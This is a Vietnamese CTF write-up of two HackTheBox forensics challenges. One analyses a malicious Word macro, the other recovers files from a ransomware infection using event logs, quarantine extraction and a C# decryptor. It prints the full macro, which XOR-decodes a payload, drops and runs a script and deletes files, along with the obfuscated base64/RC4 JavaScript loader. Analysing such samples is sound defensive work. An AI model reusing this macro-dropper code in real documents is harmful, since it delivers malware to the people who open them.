---
# System prepended metadata

title: 'Cyber Apocalypse 2024: Hacker Royale'

---

# Cyber Apocalypse 2024: Hacker Royale | CTF HackTheBox

## Writeup Walkthrough

### Forensics (Hard)

> Player : TMQrX
> Team : :R4inB0w:

### 1) Game Invitation

> Question: In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: "Join The Fray: Embrace the Challenge." But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?



Chúng ta có một file Word với đuôi extension là .docm, vì thế mình nghĩ chắc chắn có macro nên sẽ dùng olevba để kiểm tra.

![image](https://hackmd.io/_uploads/HkEUjetkC.png)

```
Public IAiiymixt As String
Public kWXlyKwVj As String


Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 50
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = True
End Function

Sub AutoClose()
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", True
Set aMUsvgOin = Nothing
End Sub

Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then

Else

Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
    Set vTxAnSEFH = CreateObject("vbscript.regexp")
    vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
    Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
```

Sau khi nghiên cứu đoạn macro này, mình suy luận ra được như sau:
- Đầu tiên bỏ qua các hàm mã hóa, ta có thể thấy rằng nó sẽ tạo ra một object có tên vbscript.regexp với điều kiện phải khớp với pattern *sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa*
- Sau đó nó sẽ XOR với key 50 và tạo ra một file mailform.js và chạy bởi WScript.exe với argument vF8rdgMHKBrvCoCp0ulm

Vậy bây giờ, việc cần làm là lấy được file mailform.js này, cách của mình là đem vào vmware chạy thẳng macro và bú file js này thôi xD

Sau khi có file js, mở ra nhưng có vẻ nó bị encrypt rất khó để đọc

![image](https://hackmd.io/_uploads/SJB1pxty0.png)

Mình sử dụng https://beautifier.io/ để làm modify lại cho dễ đọc

```
var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);

function af5Q(r) {
    var a = r.charCodeAt(0);
    if (a === 43 || a === 45) return 62;
    if (a === 47 || a === 95) return 63;
    if (a < 48) return -1;
    if (a < 48 + 10) return a - 48 + 26 + 26;
    if (a < 65 + 26) return a - 65;
    if (a < 97 + 26) return a - 97 + 26
}

function JrvS(r) {
    var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var t;
    var l;
    var h;
    if (r.length % 4 > 0) return;
    var u = r.length;
    var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
    var n = new Array(r.length * 3 / 4 - g);
    var i = g > 0 ? r.length - 4 : r.length;
    var z = 0;

    function b(r) {
        n[z++] = r
    }
    for (t = 0, l = 0; t < i; t += 4, l += 3) {
        h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
        b((h & 16711680) >> 16);
        b((h & 65280) >> 8);
        b(h & 255)
    }
    if (g === 2) {
        h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
        b(h & 255)
    } else if (g === 1) {
        h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
        b(h >> 8 & 255);
        b(h & 255)
    }
    return n
}

function xR68(r, a) {
    var t = [];
    var l = 0;
    var h;
    var u = "";
    for (var g = 0; g < 256; g++) {
        t[g] = g
    }
    for (var g = 0; g < 256; g++) {
        l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h
    }
    var g = 0;
    var l = 0;
    for (var n = 0; n < a.length; n++) {
        g = (g + 1) % 256;
        l = (l + t[g]) % 256;
        h = t[g];
        t[g] = t[l];
        t[l] = h;
        u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
    }
    return u
}

function lyEK() {
    var r = "cxbDXRuOhlNrpkxS7FWQ5G5jUC+Ria6llsmU8nPMP1NDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGJqT5CjjAofAfU3kWSeVgzHOI5nsEaf9BbHyN9VvrXTU3UVBQcyXOH9TrrEQHYHzZsq2htu+RnifJExdtHDhMYSBCuqyNcfq8+txpcyX/aKKAblyh6IL75+/rthbYi/Htv9JjAFbf5UZcOhvNntdNFbMl9nSSThI+3AqAmM1l98brRA0MwNd6rR2l4Igdw6TIF4HrkY/edWuE5IuLHcbSX1J4UrHs3OLjsvR01lAC7VJjIgE5K8imIH4dD+KDbm4P3Ozhrai7ckNw88mzPfjjeBXBUjmMvqvwAmxxRK9CLyp+l6N4wtgjWfnIvnrOS0IsatJMScgEHb5KPys8HqJUhcL8yN1HKIUDMeL07eT/oMuDKR0tJbbkcHz6t/483K88VEn+Jrjm7DRYisfb5cE95flC7RYIHJl992cuHIKg0yk2EQpjVsLetvvSTg2DGQ40OLWRWZMfmOdM2Wlclpo+MYdrrvEcBsmw44RUG3J50BnQb7ZI+pop50NDCXRu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0dBE500COH8YmMRt0uomM6KsEzrg4aCJU06usCRk5ckllwz2rmAFkN+KMFcuwQRdHR57Lzz6bmuFboOfaOhNH6VkBpp9Zp4c279DiKQngmug/GvegPZCg7NcSr1UOOhfLP7ZNmuT7o5VzqkqJtBUnLUyX3/3hdrMPrfsiJ36bqLk5TK4scaNUbaxaFsDM9bjxmWCjavOM46UOylM3hbxN6R50d3MHKSRunZfndpN/GV/nNSovNfQK8kT3xjUahNZTz7sWEdLoOcuYCk1H1UOB97j4r3mw7PExi8YRI9MjvsyzJQTZyrWc6R0rHbfRPHGQYlVCuqxwvAcoiTkq/Y+4M6U9FG9yxA10oQH1d7HIuM3M1EW0kPT+quYKtMS08BQLTTKZMtMkm0E=";
    return r
}
```

Ngồi nghiên cứu code js thì mình biết rằng có 2 hàm là hàm decryption base64 JrvS và decryption RC4 xR68 và có nhiệm vụ là dcrypt đoạn ciphertext ở hàm lyEK()

Follow theo luồng code thì mình biết thứ tự sẽ là decode base64 của ciphertext, sau đó dùng RC4 để decode tiếp với key là agruments của macro như mình nói ở bên trên. Đem hết lên cyberchef cho đỡ phải viết script thì mình được đoạn unobfuscated code như sau

![image](https://hackmd.io/_uploads/ByAx0xF10.png)

Yes Sir, ta đã thấy đoạn flag ở trong này và chỉ cần decode base64 nữa là ta sẽ có flag xD

### 2) Confinement

> Question: "Our clan's network has been infected by a cunning ransomware attack, encrypting irreplaceable data essential for our relentless rivalry with other factions. With no backups to fall back on, we find ourselves at the mercy of unseen adversaries, our fate uncertain. Your expertise is the beacon of hope we desperately need to unlock these encrypted files and reclaim our destiny in The Fray. Note: The valuable data is stored under \Documents\Work"

Sau khi tải file về, ta có file .ad nên vì vậy mình sử dụng ftk để kiểm tra bên trong disk image này có gì

Dựa vào đề bài, ta truy cập vào \Documents\Work

![image](https://hackmd.io/_uploads/rJphiQYk0.png)

Có vẻ những file bên trong folder này đã bị ransomeware mã hóa. Và mình kiểm tra folder download, có một file .bat thực hiện reverse shell đến một ip bằng powershell

![image](https://hackmd.io/_uploads/H1bz3mFJC.png)

Vì nó sử dụng powershell nên mình nghĩ ngay đến việc sử dụng ConsoleHost_history.txt để xem cụ thể các command powershell trước và sau đó nhưng có vẻ file này đã bị xóa rồi

> C:\Users\tamin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Vì vậy, cách duy nhất để xem logs powershell đó chính là sử dụng các file evtx trong folder winevt/Logs

Sử dụng FTK để export file Powershell EVTX ra, sau đó sử dụng [Chainsaw](https://github.com/WithSecureLabs/chainsaw/tree/v2.8.1) để export content bên trong ra bởi vì mình lười import tay các file evtx này vào event logs của windows xD ( Vừa dài vừa khó đọc, mù mẹ mắt)

![image](https://hackmd.io/_uploads/ryq7pXF1A.png)

Để export logs của Windows Powershell, ta sử dụng eventID 4104

> tmqrx@TMQ:~/chainsaw$ ./chainsaw search -t 'Event.System.EventID: =4104' Microsoft-Windows-PowerShell%4Operational.evtx -o out1.csv

![image](https://hackmd.io/_uploads/S1jUpmFyR.png)

Okay sau đó mở file .csv ra bằng excel

![image](https://hackmd.io/_uploads/BJuFa7YyC.png)

Yes sir và ta đã có logs của powershell trên máy victim rồi, giờ chỉ cần filter mỗi phần command thôi

![image](https://hackmd.io/_uploads/ryXx0QYJA.png)

Ở đây mình thầy rằng nó đã tải và unzip một file tên là intel.zip

![image](https://hackmd.io/_uploads/HJONCQFy0.png)

Sau đó chạy nó, nhưng mình nhìn thấy Tamper của Windows Defender đã block nó ngay khi chạy

![image](https://hackmd.io/_uploads/Hy0KAQYyR.png)

Tiếp theo ta thấy có một command có tác dụng là tắt Windows Defender đi

![image](https://hackmd.io/_uploads/BkkaRXF1R.png)

Sau đó nó bắt đầu lại các bước trên và chạy file intel.exe để ransomeware bắt đầu làm việc :)

Đến đây thì mình có cố tìm xem file intel.exe này ở đâu và có vẻ như nó đã bị xóa rồi

Mình tiếp tục nghiên cứu thì biết được rằng mỗi khi Windows Defender detect virus sẽ ném nó vào quarantine để cách ly nó với máy tính của chúng ta

Tiếp tục tìm hiểu thì mình biết rằng path của quarantine chính là *ProgramData/Microsoft/Windows Defender/Quarantine*

![image](https://hackmd.io/_uploads/HkuLgNYkR.png)

Ngồi vọc trên github và stackoverflow một hồi thì mình biết rằng có một tool có thể recover các file bị ném vào quarantine đó là [Defender Dump](https://github.com/knez/defender-dump)

![image](https://hackmd.io/_uploads/HJTZ74FJC.png)

Mình đã extract được file này intel.exe thành công xD

Giờ dùng DIE để xem file này được code trên ngôn ngữ nào

![image](https://hackmd.io/_uploads/Hkd8QEKyR.png)

Nó dùng C# nên mình sẽ dùng Dotpeek để unpack

![image](https://hackmd.io/_uploads/SJ567VFJ0.png)

Ở class Alert có chức năng tạo ra một thông báo bị ransomeware ngay sau khi thực thi file

![image](https://hackmd.io/_uploads/BysJwNKk0.png)


Ở class CoreEncrypter ta có thể thầy rằng nó thực hiện mã hóa bằng AES cryptography mode CBC với padding mode ISO10126, và dùng rfc2898DeriveBytes để gọi password bằng PBKDF2

Tiếp tục xem class PasswordHasher thì ta biết được rằng password được tạo ra bằng password + salt mà salt được lấy từ UID

![image](https://hackmd.io/_uploads/SJSaDEYJA.png)


Nhưng UID lại được tạo randomly

![image](https://hackmd.io/_uploads/SysRv4t1C.png)

Quay trở lại hàm main, ta thấy rằng có một đoạn code cho ta biết rằng sau khi thực thi file ransomware, UID sẽ được cộng chuỗi vào phần Alert

![image](https://hackmd.io/_uploads/S1wLdVKyR.png)

Từ đó mình hiểu ra UID sẽ nằm ở trong file thông báo Alert, vì vậy mình mở file đó ra và tìm thấy được UID

![image](https://hackmd.io/_uploads/H1zyY4K1C.png)

Có UID và Salt rồi thì chỉ đơn giản là decrypt file bị mã hóa là được

Tham khảo chatgpt vì mình là script kiddie nên đã build ra được script để decrypt xDDD

```
using System;
using System.Text;
using System.Security.Cryptography;
using System.IO;

namespace ConsoleApp3
{
    class Program
    {
        public static string Hasher(string password)
        {
            string result;
            using (SHA512CryptoServiceProvider sha512CryptoServiceProvider = new SHA512CryptoServiceProvider())
            {
                byte[] bytes = Encoding.UTF8.GetBytes(password);
                result = Convert.ToBase64String(sha512CryptoServiceProvider.ComputeHash(bytes));
            }
            return result;
        }
        public static string GetHashCode(string password, string salt)
        {
            string password2 = password + salt;
            return Hasher(password2);
        }
        static void Main(string[] args)
        {
            String UID = "5K7X7E6X7V2D6F";
            String _salt = "0f5264038205edfb1ac05fbb0e8c5e94";
            String password = GetHashCode(UID, _salt);
            String file = "D:\\Applicants_info.xlsx.korp";

            byte[] array = new byte[65535];
            byte[] salt = new byte[] { 0, 1, 1, 0, 1, 1, 0, 0 };
            Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.Padding = PaddingMode.ISO10126;
            rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
            FileStream fileStream = null;

            try
            {
                fileStream = new FileStream(file, FileMode.Open, FileAccess.ReadWrite);
            }
            catch (Exception ex2)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(ex2.Message);
                Console.ForegroundColor = ConsoleColor.Red;
            }
            if (fileStream.Length < 1000000L)
            {
                string path = null;
                FileStream fileStream2 = null;
                CryptoStream cryptoStream = null;
                try
                {
                    path = file.Replace(".korp", "");
                    fileStream2 = new FileStream(path, FileMode.Create, FileAccess.Write);
                    cryptoStream = new CryptoStream(fileStream2, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write);
                }
                catch (Exception ex3)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine(ex3.Message);
                    Console.ForegroundColor = ConsoleColor.Red;
                }
                try
                {
                    int num;
                    do
                    {
                        num = fileStream.Read(array, 0, array.Length);
                        if (num != 0)
                        {
                            cryptoStream.Write(array, 0, num);
                        }
                    }
                    while (num != 0);
                    fileStream.Close();
                    cryptoStream.Close();
                    fileStream2.Close();
                }
                catch (Exception ex4)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine(ex4.Message);
                    Console.ForegroundColor = ConsoleColor.Red;
                }
                try
                {
                    File.Delete(file);
                    return;
                }
                catch (Exception)
                {
                    File.Delete(path);
                    return;
                }
            }
            string destFileName = file.Replace(".korp", "");
            try
            {
                long position = fileStream.Position;
                int num2 = fileStream.ReadByte() ^ 255;
                fileStream.Seek(position, SeekOrigin.Begin);
                fileStream.WriteByte((byte)num2);
                fileStream.Close();
                File.Move(file, destFileName);
            }
            catch (Exception ex5)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine(ex5.Message);
                Console.ForegroundColor = ConsoleColor.Red;
            }

        }
    }
}
```

![image](https://hackmd.io/_uploads/HJI35NYk0.png)

Thành công rồi, giờ vào file lấy flag thôi xD

![image](https://hackmd.io/_uploads/r1J1sEFJC.png)

